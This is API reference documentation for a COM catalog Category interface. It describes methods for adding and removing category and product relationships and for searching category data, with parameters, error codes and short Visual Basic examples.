[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Constant
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | E_CAT_CATALOG_DOESNT_EXIST
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | E_CAT_INVALID_CATALOGNAME
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | E_CAT_INVALID_CATALOG_NAME_LENGTH
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | E_CAT_CHARACTER_NOT_ALLOWED

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A relationship must be given a name and may optionally be given a description. The description can include information that describes the nature of the relationship between the categories (for example, an "accessory" or "add-on"). Relationships are one way, that is, if category A has a relationship to category B, that does not create a reciprocal relationship from category B to category A.

When multiple relationships are created between the same two categories, each relationship must have a unique name.

If the strCatalogName parameter is empty or not supplied, then the catalog specified in the CatalogName property of this category is assumed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddRelationshipToCategory "Apparel", "Accessory", "This would go great with that!"

See Also

[C++] Category Object

[C++] ICategory3::RemoveRelationshipToCategory

[C++] ICategory3::SetRelatedCategories

[Visual Basic] Category Object

[Visual Basic] Category.RemoveRelationshipToCategory

[Visual Basic] Category.SetRelatedCategories


ICategory3::AddRelationshipToProduct Method [C++]

Category.AddRelationshipToProduct Method [Visual Basic]

Use this method to add a relationship between the specified product and this category.

Definition

[C++]
HRESULT ICategory3::AddRelationshipToProduct(
  VARIANT varRelatedProductID,
  BSTR strRelationshipName,
  VARIANT strRelationshipDescription,
  BSTR strCatalogName
);
[Visual Basic]
Sub AddRelationshipToProduct(
  varRelatedProductID As Variant,
  strRelationshipName As String,
  Optional strRelationshipDescription As Variant,
  Optional strCatalogName As String
)

Parameters

varRelatedProductID [C++]
[in] A VARIANT that contains the name of the product to which a relationship is to be added.
varRelatedProductID [Visual Basic]
A Variant that contains the name of the product to which a relationship is to be added.
strRelationshipName [C++]
[in] A BSTR that contains a name for the relationship.
strRelationshipName [Visual Basic]
A String that contains a name for the relationship.
strRelationshipDescription [C++]
[in, optional] A VARIANT that contains an optional description for the relationship.
strRelationshipDescription [Visual Basic]
A Variant that contains an optional description for the relationship.
strCatalogName [C++]
[in, optional] A BSTR that contains the name of the catalog that contains the related product.
strCatalogName [Visual Basic]
A String that contains the name of the catalog that contains the related product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_DESC | [C++] 0x88980055 [Visual Basic] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C++] 0x8898011B [Visual Basic] &H8898011B | A virtual catalog’s included relationships cannot be directly edited. Instead, they can be edited only in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

In order for this method to complete successfully, the product identified must already exist.

A relationship must be given a name and may optionally be given a description. The description can include information that describes the nature of the relationship between the categories (for example, an "accessory" or "add-on").

When multiple relationships are created between a category and product, each relationship must have a unique name.

If the strCatalogName parameter is empty or not supplied, then the catalog that contains this category is assumed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddRelationshipToProduct "SKU4005", "Accessory", "This would go great with that"

See Also

[C++] Category Object

[C++] ICategory3::RemoveRelationshipToProduct

[Visual Basic] Category Object

[Visual Basic] Category.RemoveRelationshipToProduct


ICategory3::RemoveChildCategory Method [C++]

Category.RemoveChildCategory Method [Visual Basic]

Use this method to remove a category that is a child of this category.

Definition

[C++]
HRESULT ICategory3::RemoveChildCategory(
  BSTR strCategoryName
);
[Visual Basic]
Sub RemoveChildCategory(
  strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be removed as a child of this category.
strCategoryName [Visual Basic]
A String that contains the name of the category to be removed as a child of this category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the RemoveChildCategory method to remove a child category from this category. If the category specified in the strCategoryName parameter does not exist, then this method will fail.

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the child-category relationship is inherited from a base catalog. If the relationship was added in the virtual catalog it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveChildCategory "T-Shirts"

See Also

[C++] Category Object

[C++] ICategory3::AddChildCategory

[C++] ICategory3::RemoveParentCategory

[Visual Basic] Category Object

[Visual Basic] Category.AddChildCategory

[Visual Basic] Category.RemoveParentCategory


ICategory3::RemoveParentCategory Method [C++]

Category.RemoveParentCategory Method [Visual Basic]

Use this method to remove the specified category as a parent of this category.

Definition

[C++]
HRESULT ICategory3::RemoveParentCategory(
  BSTR strCategoryName
);
[Visual Basic]
Sub RemoveParentCategory(
  strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be removed as a parent to this category.
strCategoryName [Visual Basic]
A String that contains the name of the category to be removed as a parent to this category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use the RemoveParentCategory method to remove a parent category from this category. If the category specified in the strCategoryName parameter does not exist, then this method will fail.

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the parent-category relationship is inherited from a base catalog. If the relationship was added in the virtual catalog it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveParentCategory "Apparel"

See Also

[C++] Category Object

[C++] ICategory3::AddParentCategory

[C++] ICategory3::RemoveChildCategory

[Visual Basic] Category Object

[Visual Basic] Category.AddParentCategory

[Visual Basic] Category.RemoveChildCategory


ICategory3::RemoveProduct Method [C++]

Category.RemoveProduct Method [Visual Basic]

Use this method to remove a product from this category.

Definition

[C++]
HRESULT ICategory3::RemoveProduct(
  VARIANT varProductID
);
[Visual Basic]
Sub RemoveProduct(
  varProductID As Variant
)

Parameters

varProductID [C++]
[in] A VARIANT that contains the product ID.
varProductID [Visual Basic]
A Variant that contains the product ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or else it does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the product was added to the category in a base catalog. If the product was added in the virtual catalog it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveProduct "Widget"

See Also

[C++] Category Object

[C++] ICategory3::AddProduct

[Visual Basic] Category Object

[Visual Basic] Category.AddProduct


ICategory3::RemoveRelationshipToCategory Method [C++]

Category.RemoveRelationshipToCategory Method [Visual Basic]

Use this method to remove a relationship between the specified category and this category.

Definition

[C++]
HRESULT ICategory3::RemoveRelationshipToCategory(
  BSTR strRelatedCategoryName,
  BSTR strRelationshipName
  BSTR strCatalogName
);
[Visual Basic]
Sub RemoveRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String
  strCatalogName As String)

Parameters

strRelatedCategoryName [C++]
[in] A BSTR that contains the name of the related category.
strRelatedCategoryName [Visual Basic]
A String that contains the name of the related category.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship.
strCatalogName [C++]
[in, optional] A BSTR that contains the name of the catalog containing the name of the related category.
strCatalogName [Visual Basic]
A String that contains the name of the catalog containing the name of the related category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The RemoveRelationshipToCategory method removes a relationship between this category and the category named in the strRelatedCategoryName parameter. Since more than one relationship may exist between these two categories, you must also specify the name of the relationship you want to remove in the strRelationshipName parameter. If the category specified in the strRelatedCategoryName parameter does not exist or the relationship specified in the strRelationshipName parameter does not exist, then this method will fail.

When calling this method on an inherited category in a virtual catalog, if the relationship is inherited from a base catalog, the method will return an error: "The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited." If the relationship was added in the virtual catalog, it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveRelationshipToCategory "Gadget", "Accessory"

See Also

[C++] Category Object

[C++] ICategory3::AddRelationshipToCategory

[C++] ICategory3::RemoveRelationshipToProduct

[Visual Basic] Category Object

[Visual Basic] Category.AddRelationshipToCategory

[Visual Basic] Category.RemoveRelationshipToProduct


ICategory3::RemoveRelationshipToProduct Method [C++]

Category.RemoveRelationshipToProduct Method [Visual Basic]

Use this method to remove a relationship between the specified product in the specified catalog and this category.

Definition

[C++]
HRESULT ICategory3::RemoveRelationshipToProduct(
  VARIANT varRelatedProductID,
  BSTR strRelationshipName
  BSTR strCatalogName
);
[Visual Basic]
Sub RemoveRelationshipToProduct(
  varRelatedProductID As Variant,
  strRelationshipName As String
  strCatalogName As String
)

Parameters

varRelatedProductID [C++]
[in] A VARIANT that contains the ID of the related product.
varRelatedProductID [Visual Basic]
A Variant that contains the ID of the related product.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship.
strCatalogName [C++]
[in] A BSTR that contains the name of the catalog containing the name of the related product.
strCatalogName [Visual Basic]
A String that contains the name of the catalog containing the name of the related product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C++] 0x88980045 [Visual Basic] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The RemoveRelationshipToProduct method removes a relationship between this category and the product identified by the varRelatedProductID parameter. Since more than one relationship may exist between this category and product, you must also specify the name of the relationship you want to remove in the strRelationshipName parameter. If the product specified in the varRelatedProductID parameter does not exist or the relationship specified in the strRelationshipName parameter does not exist, then this method will fail.

When calling this method on an inherited category in a virtual catalog, if the relationship is inherited from a base catalog, the method will return an error: "The relationship that you specified either does not exist or is an inherited relationship, and therefore cannot be edited." If the relationship was added in the virtual catalog, it will be removed. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.RemoveRelationshipToProduct "Gadget", "FeaturedProduct"

See Also

[C++] Category Object

[C++] ICategory3::AddRelationshipToProduct

[Visual Basic] Category Object

[Visual Basic] Category.AddRelationshipToProduct


ICategory3::Search Method [C++]

Category.Search Method [Visual Basic]

Use this method to perform queries against product, variant, and category data in this category, and, optionally, all of the descendent categories for this category.

Definition

[C++]
HRESULT ICategory3::Search(
  VARIANT strSQLClause,
  VARIANT strFTSPhrase,
  VARIANT_BOOL fRecursive,
  VARIANT eClassTypeRequired,
  VARIANT strPropertiesToReturn,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSResult
);
[Visual Basic]
Function Search(
  Optional strSQLClause As Variant,
  Optional strFTSPhrase As Variant,
  Optional fRecursive As Boolean,
  Optional eClassTypeRequired As Variant,
  Optional strPropertiesToReturn As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As Recordset

Parameters

strSQLClause [C++]
[in, optional] A VARIANT that contains the SQL search query.
strSQLClause [Visual Basic]
A Variant that contains the SQL search query.
strFTSPhrase [C++]
[in, optional] A VARIANT that contains the free-text search phrase.
strFTSPhrase [Visual Basic]
A Variant that contains the free-text search phrase.
fRecursive [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that specifies whether the query is recursive, that is, whether the scope of the query includes all descendent categories. A value of True (-1) indicates that the query is recursive. A value of False (0) indicates that the query is not recursive.
fRecursive [Visual Basic]
A Boolean that specifies whether the query is recursive, that is, whether the scope of the query includes all descendent categories. A value of True indicates that the query is recursive. A value of False indicates that the query is not recursive. The default value is True.
eClassTypeRequired [C++]
[in, optional] A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn [C++]
[in, optional] A VARIANT that contains the properties to return as a comma-separated list.
strPropertiesToReturn [Visual Basic]
A Variant that contains the properties to return as a comma-separated list.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record to retrieve. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records matching the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records matching the query.
ppRSResult [C++]
[out, retval] A pointer to a _Recordset object used to return the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object containing the search results.

The following table describes the COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_SEARCH_CLAUSE | [C++] 0x8898011C [Visual Basic] &H8898011C | The search condition that you specified is invalid for one of the following reasons: It contains -- or /* which should not be used outside of property names and property values The parentheses in the search condition do not match in number or alignment.
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The plTotalRecordsInQuery and ppRSResult parameters contain valid data only if the method completes successfully.

This method is very similar to the ICatalogManager3.Query method. The primary difference is that this method returns results limited to a single category, and, optionally all the descendent categories for this category. Multilingual results will be returned in the language specified by the IProductCatalog3::get_Language method of the catalog that contains this category.

[Visual Basic]

The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully.

This method is very similar to the CatalogManager.Search method. The primary difference is that this method returns results limited to a single category, and, optionally all descendent categories for this category. Multilingual results will be returned in the language specified in the ProductCatalog.Language property of the catalog that contains this category.

